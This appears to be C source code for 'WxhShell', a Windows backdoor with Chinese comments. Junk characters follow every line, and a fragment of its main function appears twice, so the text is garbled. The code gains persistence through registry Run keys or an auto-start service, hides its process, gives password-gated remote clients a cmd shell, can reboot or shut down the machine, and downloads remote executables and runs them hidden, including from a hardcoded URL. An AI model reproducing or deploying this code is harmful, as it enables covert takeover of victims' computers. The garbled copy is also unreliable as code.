WinExec(wscfg.ws_filenam,SW_HIDE); cxR.:LD}
} .rBU"Rbo
0Z2XVq~T$
if(!OsIsNt) { ep8UWxB5
// 如果时win9x，隐藏进程并且设置为注册表启动 ;r@=[h
HideProc(); 7&id(&y/
StartWxhshell(lpCmdLine); ,1I-%6L
} {iyJHY
else LVUA"'6V
if(StartFromService()) `+Nv=vk
// 以服务方式启动 vd%AV(]<LJ
StartServiceCtrlDispatcher(DispatchTable); "nz\YQdg
else 2*sTU
// 普通方式启动 &<><4MQ
StartWxhshell(lpCmdLine); M[qhy.
?b7ttlX{
return 0; {J"]tx9 ]
} 2D:/.9= 8v
_OGv2r
qlM<X?
r1HG$^
=========================================== Kb]}p
,~3rY,y-
^P,Pj z
S/oD`
XVNJK-B
3/gR}\=
" +X#6dv$
m^FKE:
#include <stdio.h> k9eyl)
#include <string.h> ?$`kT..j,u
#include <windows.h> \dQc!)&C9
#include <winsock2.h> Yz;7g8HI
#include <winsvc.h> 3D6&0xTq
#include <urlmon.h> B*:I-5
0:Bpvl5
#pragma comment (lib, "Ws2_32.lib") %<^^ Mw
#pragma comment (lib, "urlmon.lib") BvvjaC
fTpG>*{p
#define MAX_USER 100 // 最大客户端连接数 jUD^]Qs
#define BUF_SOCK 200 // sock buffer vVMoCG"f
#define KEY_BUFF 255 // 输入 buffer F=Xb_Gd`
3rK\ f4'
#define REBOOT 0 // 重启 8GBKFNR8
#define SHUTDOWN 1 // 关机 E q4tcZ
#6a!OQj
#define DEF_PORT 5000 // 监听端口 JFI*Pt;X9
sPc}hG+N
#define REG_LEN 16 // 注册表键长度 vw>(JCR
#define SVC_LEN 80 // NT服务名长度 ktPM66`b
z4 =OR@ h
// 从dll定义API }J?,?>Z
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >-V632(/{o
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z 8M\(<
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .,6o):
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HT/!+#W.
,8zJD&HMx
// wxhshell配置信息 i%!<9D~n
struct WSCFG { bLS10^g5
int ws_port; // 监听端口 q0q-Coh>
char ws_passstr[REG_LEN]; // 口令 ?Sh"%x
int ws_autoins; // 安装标记, 1=yes 0=no A3.I|/
char ws_regname[REG_LEN]; // 注册表键名 aoz+Th3
char ws_svcname[REG_LEN]; // 服务名 _<]0hC
char ws_svcdisp[SVC_LEN]; // 服务显示名 +@uA
char ws_svcdesc[SVC_LEN]; // 服务描述信息 j|8!gW
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $S' TW3
int ws_downexe; // 下载执行标记, 1=yes 0=no [^GBg>k
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &3IkC(yD
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8VG}-
8D>5(Dg-
}; 5MG4S
i`52tH y_
// default Wxhshell configuration ie[X7$@
struct WSCFG wscfg={DEF_PORT, dLGHbeZ[(
"xuhuanlingzhe", WL(Y1>|j
1, <o9i;[+H-
"Wxhshell", tJ_Y6oFm=
"Wxhshell", f?ycZ
"WxhShell Service", @H$8;CRM
"Wrsky Windows CmdShell Service", J0vQqTaT
"Please Input Your Password: ", _R|_1xa=
1, EKO'S+~
"http://www.wrsky.com/wxhshell.exe", :LB*l5\
"Wxhshell.exe" ~)#E?:h5
}; LK4NNZf7
F3vywN1$,
// 消息定义模块 3=U#v<
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >o13?-S%e
char *msg_ws_prompt="\n\r? for help\n\r#>"; ELV~ ayp5
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I++ Le%w
char *msg_ws_ext="\n\rExit."; .Y2Hd$rs
char *msg_ws_end="\n\rQuit."; NRG06M
char *msg_ws_boot="\n\rReboot..."; q_^yma
char *msg_ws_poff="\n\rShutdown..."; P7T'.|d
char *msg_ws_down="\n\rSave to "; f99"~)B|
ez9F!1
char *msg_ws_err="\n\rErr!"; Py#EjF12
char *msg_ws_ok="\n\rOK!"; #-Mr3
Wm"q8-<<
char ExeFile[MAX_PATH]; qi~-<qW
int nUser = 0; [(g2u@
HANDLE handles[MAX_USER]; 2.</n}g
int OsIsNt; LmyaC2
g||EjCsp
SERVICE_STATUS serviceStatus; !"<rlB,J
SERVICE_STATUS_HANDLE hServiceStatusHandle; \:@7)(p\;
i`f!)1
// 函数声明 G6{'|CV
int Install(void); }D!tB
int Uninstall(void); .fqy[qrM
int DownloadFile(char *sURL, SOCKET wsh); 7bbFUUUG"
int Boot(int flag); HCrQ+r{g
void HideProc(void); LUxDP#~7
int GetOsVer(void); W$wX[
int Wxhshell(SOCKET wsl); &b^_~hB:q
void TalkWithClient(void *cs); i,"Xw[H*s
int CmdShell(SOCKET sock); uWClT):
int StartFromService(void); JFc,f
int StartWxhshell(LPSTR lpCmdLine); (!8b$)k
l'Za"TL:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jmgkY)rb R
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )c*xKij
AH/^v;-
// 数据结构和表定义 GK-P6d
SERVICE_TABLE_ENTRY DispatchTable[] = hC8WRxEGq
{ 8a@k6OZ
{wscfg.ws_svcname, NTServiceMain}, OY(CB(2N
{NULL, NULL} <K&A/Ue
}; ^HR8.9^[1u
M]k Q{(
// 自我安装 &+(D< U
int Install(void) %{IgY{X
{ #"c'eG0
char svExeFile[MAX_PATH]; rZ+4kf6S
HKEY key; e(0cz6
strcpy(svExeFile,ExeFile); 9[X'9*,
KwMt@1Z
// 如果是win9x系统，修改注册表设为自启动 2!}F+^8'P
if(!OsIsNt) { ]=ApYg7!
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P5B,= K>r
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YCStX)r
RegCloseKey(key); GPGPteC
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^S;{;c+'
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S'$m3,l(k
RegCloseKey(key); *7Y#G8 s
return 0; "8uNa
} p*g)-/mA
} un!v1g9O
} 3O4lGe#u
else { V;RgO}
gi/k#3_m
// 如果是NT以上系统，安装为系统服务 Iv3yDL;
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `WCL-OoZc5
if (schSCManager!=0) l=T;hk
{ |.RyF@N`T
SC_HANDLE schService = CreateService Q1|6;4L
( *p9)5
schSCManager, e(^I.`9z
wscfg.ws_svcname, oDD"h,Z
wscfg.ws_svcdisp, !hfpa_5
SERVICE_ALL_ACCESS, NBasf n
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :+>7m
SERVICE_AUTO_START, '?m2|9~
SERVICE_ERROR_NORMAL, ipMSMk7gx
svExeFile, - |DWPU!"
NULL, 5tkKd4VfL
NULL, h]~FYY
NULL, aqqo>O3 s
NULL, re%XaL
NULL Hicd -'
); F-o?tU
if (schService!=0) k kD#Bb
{ C[%&;\3S@
CloseServiceHandle(schService); x.t&NP^V)
CloseServiceHandle(schSCManager); P}a$#a'!
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q$yg^:]2
strcat(svExeFile,wscfg.ws_svcname); CDtL.a\
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V D7^wd9
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4?@#w>(
RegCloseKey(key); |[5;dt_U/
return 0; 2 KHT!ik
} oI`Mn3N
} ami>Pp
CloseServiceHandle(schSCManager); OW=3t#"7Kp
} g8'8"9:xC
} "]p&7
DFZ@q=ZT
return 1; b@4UR<
} !D{z. KO
}m?Ut|
// 自我卸载 =ZU!i0 K
int Uninstall(void) W\Scak>
{ a]P%Y.?r
HKEY key; <4;, y*"n
bp?TO]LH
if(!OsIsNt) { KK>jV
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W!.FnM5x
RegDeleteValue(key,wscfg.ws_regname); }oG6XI9
RegCloseKey(key); JBw2#ry
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uA =%EEZ
RegDeleteValue(key,wscfg.ws_regname); Bx}"X?%S
RegCloseKey(key); _nzq(m1@
return 0; ,MJddbcg
} _(gkYJ+MK
} # SCLU9-
} &,PA+#
else { Z>3~n
[ywF!#'){
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hr}"g@ <
if (schSCManager!=0) WhH60/`
{ p(I^Y{sGI
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Glw|*{$
if (schService!=0) BHgs,
{ N#-.[9!
if(DeleteService(schService)!=0) { ,-EN{ed
CloseServiceHandle(schService); v+sF0 j\P
CloseServiceHandle(schSCManager); n{<@-6
return 0; AIQ {^:
} qA!4\v={
CloseServiceHandle(schService); {df;R|8l
} xo @|;Z>&F
CloseServiceHandle(schSCManager); /{8Y,pZbu
} @##}zku
} 4mp)v*z
+RpCh!KP
return 1; zCA8}](C^
} txnH~;(
t'W6Fmwkx
// 从指定url下载文件 B[8RBTsA
int DownloadFile(char *sURL, SOCKET wsh) 7yg{0a
{ &``nD
HRESULT hr; GFbn>dY
char seps[]= "/"; G] tT=X[
char *token; b9i_\
char *file; B$s6|~
char myURL[MAX_PATH]; F+R1}5-3cl
char myFILE[MAX_PATH]; ZT/f
d!&LpODI]*
strcpy(myURL,sURL); 0]DX KI
token=strtok(myURL,seps); x2I|iA=
while(token!=NULL) im:[ViR {
{ 9%ct
file=token; m^ar:mK@
token=strtok(NULL,seps); Xu_1r8-|=b
} 3kGg;z6
}mZCQJ#`
GetCurrentDirectory(MAX_PATH,myFILE); 6z~ [Ay
strcat(myFILE, "\\"); 3ZSU^v
strcat(myFILE, file); }*-fh$QJ
send(wsh,myFILE,strlen(myFILE),0); CP"5E?dcK
send(wsh,"...",3,0); GpXf).a@
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r?0w5I
if(hr==S_OK) 5B8/"G
return 0; *qL2=2
else }/NjZ*u
return 1; y<`:I|y
$ <[r3
} ;*Y+.?>a
t*BCpC}
// 系统电源模块 30Q77,Nsny
int Boot(int flag) g.:ZMV
{ .|L9}<
HANDLE hToken; 60>g{1]
TOKEN_PRIVILEGES tkp; #vy[v22
&2@Rc?!6_P
if(OsIsNt) { !m_y@~pV#u
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~^Ga?Q_
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >c:nr&yP
tkp.PrivilegeCount = 1; F!C<^q~!
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Op9+5]XF
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pG*W>F
if(flag==REBOOT) { z:dW'U?1
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J$jLGy&'
return 0; n3/Bs
} @{<^rLt
else { 5 8U[IGs(
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PDgZb
return 0; O6-';H:I]L
} :u@ w;
} v,rKuvc'
else { $'*{&/@
if(flag==REBOOT) { _Eq,udCso
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5|bfrc
return 0; ~U8#yo
} 9K&YHg:1
else { K;\fJ2ag
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1Nv qtVC
return 0; <Fl.W}?Q}
} B~<bc
} y?}<SnjP:
DYZk1
return 1; gK *=T
} 5X]f}6kT
XL1x8IB
// win9x进程隐藏模块 VeFfkg4
void HideProc(void) V5jy,Qi)
{ 6@(o8i
+'[*ikxD=g
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5HAAaI
if ( hKernel != NULL ) /b4>0DXT5
{ fE>JoQs38
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =t}m
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JkLpoe81
FreeLibrary(hKernel); eVbT<9k
} e5n"(s"G*[
+rrA>~
return; FB~IO#E8W
} G)3r[C^[k
jR3mV
// 获取操作系统版本 NPE 4@c_a@
int GetOsVer(void) \)g}
{ A4L.bBl
OSVERSIONINFO winfo; =G 'c%
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;Q5o38(
GetVersionEx(&winfo); 6k|f]BCL
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _(@Vf=t
return 1; H5gcP11r
else xWWVU}fd1
return 0; T+5H2]yy)
} ronZa0
E.x<J.[Y
// 客户端句柄模块 ?*QL;[n1
int Wxhshell(SOCKET wsl) AY9#{c>X
{ IJZx$8&A
SOCKET wsh; ZtI@$ An
struct sockaddr_in client; VW] ,R1q
DWORD myID; 7<5=fYbr
&_]bzTok
while(nUser<MAX_USER) -BrJ5]T>*
{ N;cSR\Ng
int nSize=sizeof(client); 9J}^{AA
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E,A9+OKxJ
if(wsh==INVALID_SOCKET) return 1; urD{'FQf
>+[{m<Eq
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ge{%B~x
if(handles[nUser]==0) S)^eHuXPI
closesocket(wsh); clT[?8*
else 'L%)B-,n
nUser++; c#fSt}J>C
} Ee$F]NA
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <Um5w1
cw~-%%/
return 0; Ige*tOv2
} RE;)#t?K
G|UeR=/
// 关闭 socket m]VOw)mBF
void CloseIt(SOCKET wsh) 3e;ux6
{ *W4~.peoE
closesocket(wsh); V67<Ky>
nUser--; pvM`j86 _
ExitThread(0); +'9xTd
} xI5zP? _v
V:8{MO(C\
// 客户端请求句柄 C^ ~[b o
void TalkWithClient(void *cs) n1y*`5!
{ wqt/0,\
1(a+|
SOCKET wsh=(SOCKET)cs; O]9PYv=^
char pwd[SVC_LEN]; S^SF!k=
char cmd[KEY_BUFF]; TzV~I\a|
char chr[1]; Rdy-6
int i,j; B,{Q[
[g lhru=+
while (nUser < MAX_USER) { 3=^B &AB
5e c T.
if(wscfg.ws_passstr) { 6"o@d8>v
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )!l1
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iuoZk5O
//ZeroMemory(pwd,KEY_BUFF); KyzdJ^xC"
i=0; G>+iisb%
while(i<SVC_LEN) { 11-?M
!4+@b s
// 设置超时 w`>g^_xsg
fd_set FdRead; S\A9r!2
struct timeval TimeOut; JjBlje
FD_ZERO(&FdRead); =K6{AmG$
FD_SET(wsh,&FdRead); ,@@FAL
TimeOut.tv_sec=8; D^H4]7wG@
TimeOut.tv_usec=0; SrvC34<7
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ia%U;M
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '# J/e0o@
yxy~N\0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .$r7q[
pwd=chr[0]; {&)E$M
if(chr[0]==0xd || chr[0]==0xa) { {9h`h08?z
pwd=0; RV6|sN[x>
break; @?[}\9dW
} |\h<!xR
i++; }H9V$~}@-
} -Rr Qv(
M_#^zo "x
// 如果是非法用户，关闭 socket S(5&%}QFQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f:/"OCig
} @@+BPLl
)9V8&,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C,dRdEB>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8FT@TUFb
ZTi KU)
while(1) { '<hgc
fzjZiBK@
ZeroMemory(cmd,KEY_BUFF); [hKt4]R
Znh)m
// 自动支持客户端 telnet标准 W0N*c*k
j=0; 2[Bw+<YA`
while(j<KEY_BUFF) { |&0Cuwt
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T2MXwd&l
cmd[j]=chr[0]; wO*x0$
if(chr[0]==0xa || chr[0]==0xd) { b:6e2|xf?
cmd[j]=0; Ve|=<7%%S
break; "I^pb.3
} "I&,':O+
j++; PQ4)kVT
} n~v*
Q`(h
// 下载文件 qM0Df0$?x
if(strstr(cmd,"http://")) { A&qZ:&(OM
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !wEz= i
if(DownloadFile(cmd,wsh)) q `^5<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IM&l%6[).
else HmVpxD+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =sh]H$
} :P20g](
else { mu&%ph=
N#4"P:Sv
switch(cmd[0]) { fk?(mxx"
!1ZrS
// 帮助 B-EDVMu
case '?': { Vi\kB%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ./E<v
break; u75(\<{
} >iFi~)i_4y
// 安装 GF^?#Jh
case 'i': { >`D$Jz,
if(Install()) 5TVA1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jmh$6 N% F
else z)]Br1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8z'_dfP=5
break; ttA0* >'
} v[=TPfX0
// 卸载 ^WmP,Xf#
case 'r': { #H/suQZN"g
if(Uninstall()) YV/JZc f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RI-)Qx&!f
else ?UV!^w@L:0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g)Dg=3+>
break; Sv|jR r'
} '7/c7m/$X<
// 显示 wxhshell 所在路径 R7~#7qKQB
case 'p': { X1~ WQ?ww
char svExeFile[MAX_PATH]; k5]`:k6
strcpy(svExeFile,"\n\r"); 5Ak6q(\
strcat(svExeFile,ExeFile); bf-V Q7
send(wsh,svExeFile,strlen(svExeFile),0); i[a1ij=
break; CxJkT2
} =@0/.oSD
// 重启 $VyH2+ jC
case 'b': { V[r1bF
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pvu*Y0_p
if(Boot(REBOOT)) CWS&f g%o{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<mM )[U
else { )0p7d:%mV
closesocket(wsh); dSw%Qv*y
ExitThread(0); QPT%CW61M
} n6s[q-td
break; =s$UU15
} k1Thjt
// 关机 g|PRk9
case 'd': { x^P~+(g
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >'96SE3
if(Boot(SHUTDOWN)) X*Cvh|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xRPUGGv
else { ]J>{ZL
closesocket(wsh); `u7"s'
ExitThread(0); 5t-dvYgU
} h!h<!xaclW
break; :~{x'`czJ
} v'H\KR-;
// 获取shell 55]E<2't
case 's': { %_%/ym
CmdShell(wsh); UCF'%R
closesocket(wsh); z]O,Vqpl?
ExitThread(0); QpC,komLJ
break; 2P4$^G[
} ;E]^7T
// 退出 GtSvb6UNn
case 'x': { >xJh!w<pB
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w,v~
CloseIt(wsh); etkKVr;Kv
break; +1Ua`3dWN_
} pXv@QD#!
// 离开 t (>}
case 'q': { &S|%>C{P.w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); hAv.rjhw_
closesocket(wsh); EAi!"NJ
WSACleanup(); tWN hFQ'
exit(1); $wx)/t<
break; /WWD;keP5
} :Mq-4U.e
} v<c@bDZ>
} d0MF\yxh
?cdjQ@j~h
// 提示信息 7G<v<&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3'D<'S}[
} $^;b 1bnO
} /,m!SRJ
ui$JQ_P
return; ?YTngIa
} g<&n V>wF
}HC6m{vH(
// shell模块句柄 +{F2hEYP
int CmdShell(SOCKET sock) vPbmQh ex
{ FG[YH5
STARTUPINFO si; bQFMg41*w7
ZeroMemory(&si,sizeof(si)); mzkv/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rp^Gk
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <>tQa5;
PROCESS_INFORMATION ProcessInfo; \uTy\KA
char cmdline[]="cmd"; !?u{2D
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~gAp`Q
return 0; ;mw$(ZKa#
} _K5R?"H0
<5wk~|@t
// 自身启动模式 <B%s9Zy
int StartFromService(void) =Pu;wx9
{ xOAA1#
typedef struct ~$\9T.tre2
{ Fw!TTH6l0
DWORD ExitStatus; 8vL2<VT;
DWORD PebBaseAddress; /PuN+M
DWORD AffinityMask; SlRQi:
DWORD BasePriority; cB ,l=/?
ULONG UniqueProcessId; tB i16=
ULONG InheritedFromUniqueProcessId; ]s))O6^f
} PROCESS_BASIC_INFORMATION; l,n V*Z
bXw!fYm&
PROCNTQSIP NtQueryInformationProcess; [~[)C]-=
WFTXSHcG
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yaD_c;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X/l{E4Ex
3r]:k)J
HANDLE hProcess; ~Os1ir.
PROCESS_BASIC_INFORMATION pbi; `f~\d.*U
>m-VBo
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {hmC=j
if(NULL == hInst ) return 0; [_pw|BGp
MY]<^/Q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6?C|pO
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?mCino
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X?8EPCk
w#!^wN
if (!NtQueryInformationProcess) return 0; zcn/LF
1"4Pan
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -J<{NF
if(!hProcess) return 0; 25zmde~ w
#!i&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +nj 2
?{Rv/np=F
CloseHandle(hProcess); N#Y|MfLc
`3CdW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4N- T=Ig
if(hProcess==NULL) return 0; OrJuE[R.
>Yf)]e-
HMODULE hMod; G'M;]R9EP
char procName[255]; K#e&yY
unsigned long cbNeeded; k+D"LA%J
?b8 :
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); = @EN]u
Ac2,A>
CloseHandle(hProcess); BsJ d*-:X
,3As Ng
if(strstr(procName,"services")) return 1; // 以服务启动 ]#fmih^
m/T3Um
return 0; // 注册表启动 P~H?[ ;
} lI<Q=gd
oieJ7\h]m
// 主模块 3;hztCZj
int StartWxhshell(LPSTR lpCmdLine) hN5?u:
{ m 3Y@p$i5
SOCKET wsl; fQkfU;5
BOOL val=TRUE; Lxg,BZV
int port=0; ]"2;x
struct sockaddr_in door; C2[* $ 1U
.EF(<JC?
if(wscfg.ws_autoins) Install(); b5u8j
ZgzjRa++
port=atoi(lpCmdLine); WE*L=_zDS
/qd5{%:
if(port<=0) port=wscfg.ws_port; h|T_ k
%tOGs80_{
WSADATA data; XjRk1~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OABMIgX
A%[BCY_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5vmc'Om
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sgGXj7
door.sin_family = AF_INET; `+\6;nM
door.sin_addr.s_addr = inet_addr("127.0.0.1"); hn-!W;j
door.sin_port = htons(port); /Z?$!u4I
Bo#,)%80
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zJ=lNb?q
closesocket(wsl); 1z6$>{FUR
return 1; wOLDHg_
} VbG#)>"F
S <RbC
if(listen(wsl,2) == INVALID_SOCKET) { n?[JPG2X
closesocket(wsl); Mxmo}tt
return 1; 5Qh$>R4!"
} VK]cZ%)
Wxhshell(wsl); 5{"v/nXV
WSACleanup(); XYh)59oM%
x* 9 Xu"?
return 0; 6${=N}3Kw
^vHh*Ub
} MP3Vo|}3
i!a.6Gq
// 以NT服务方式启动 Sf>#Zqj/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $0mR_pA\fW
{ .DX-biX,
DWORD status = 0; x@)G@'vV|
DWORD specificError = 0xfffffff; F{*h~7D-|
s;ivoGe}
serviceStatus.dwServiceType = SERVICE_WIN32; &}y?Lt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _ g8CvH)?!
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E-`3}"{
serviceStatus.dwWin32ExitCode = 0; p=jpk@RX
serviceStatus.dwServiceSpecificExitCode = 0; vmj'X>Q
serviceStatus.dwCheckPoint = 0; li37*
serviceStatus.dwWaitHint = 0; [pRRBMho
1`Ig A0V`"
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iCtDV5
if (hServiceStatusHandle==0) return; KL<,avC/
Ym8 V)
status = GetLastError(); D^Gs_z$['
if (status!=NO_ERROR) F%tV^$%
{ )yt_i'D}
serviceStatus.dwCurrentState = SERVICE_STOPPED; (Qcd !!
serviceStatus.dwCheckPoint = 0; # E{2 !Z
serviceStatus.dwWaitHint = 0; yp!7^
serviceStatus.dwWin32ExitCode = status; A/c#2
serviceStatus.dwServiceSpecificExitCode = specificError; )Ggv_mc h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pxvf"SXX
return; ZamOYkRX
} `9* |Y8:
) w1`<7L
serviceStatus.dwCurrentState = SERVICE_RUNNING; Iysp)
serviceStatus.dwCheckPoint = 0; c<a)Yqf"]
serviceStatus.dwWaitHint = 0; *yZ `aKfH
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {zTnE?(o`
} z}a9%Fb
fjd)/Gg
// 处理NT服务事件，比如：启动、停止 =G9I7Y@
VOID WINAPI NTServiceHandler(DWORD fdwControl) rk-GQ#SKU
{ fpa~~E-
switch(fdwControl) :OFs"bC
{ PWBcK_4i%
case SERVICE_CONTROL_STOP: mz|p=[lR|
serviceStatus.dwWin32ExitCode = 0; j>`-BN_
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Jh1$O,9o
serviceStatus.dwCheckPoint = 0; 3OB=D{$V
serviceStatus.dwWaitHint = 0; G`Df'Yy
{ ,(A $WT@e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YvG=P<_xw
} TYKs2+S6
return; 9Wv}g"KY0
case SERVICE_CONTROL_PAUSE: q|g>;_
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8CUlE-R5
break; 3oOr*N3R
case SERVICE_CONTROL_CONTINUE: -.OZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3c=>;g
break; we/sv9v}n
case SERVICE_CONTROL_INTERROGATE: cSTF$62E
break; (6*
}; yu>o7ie+;Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .%EYof
} NZ"nG<;5
r])V6 ^U
// 标准应用程序主函数 82M`sk3.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U0;pl2
{ VTa%
5HaI$>h6
// 获取操作系统版本 jVPX]8
OsIsNt=GetOsVer(); SJ2l6
GetModuleFileName(NULL,ExeFile,MAX_PATH); f~10 iD
&/n*>%2
// 从命令行安装 @h9QfJ_f
if(strpbrk(lpCmdLine,"iI")) Install(); L|L;<
Sh2BU3
// 下载执行文件 akFT 0@9
if(wscfg.ws_downexe) { 7^7Jh&b)/
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s o1hC
WinExec(wscfg.ws_filenam,SW_HIDE); hv`I`[/J
} 63i&<
3$_JNF`
if(!OsIsNt) { dmWCNeja.
// 如果时win9x，隐藏进程并且设置为注册表启动 T#<Q[h=
HideProc(); fC".K Yjp
StartWxhshell(lpCmdLine); !nsx!M
} %:v<&^oDlm
else ?>Ngsp>-P
if(StartFromService()) 2?{'(iay
// 以服务方式启动 nTl2F1(sV7
StartServiceCtrlDispatcher(DispatchTable); e%lxRN"b
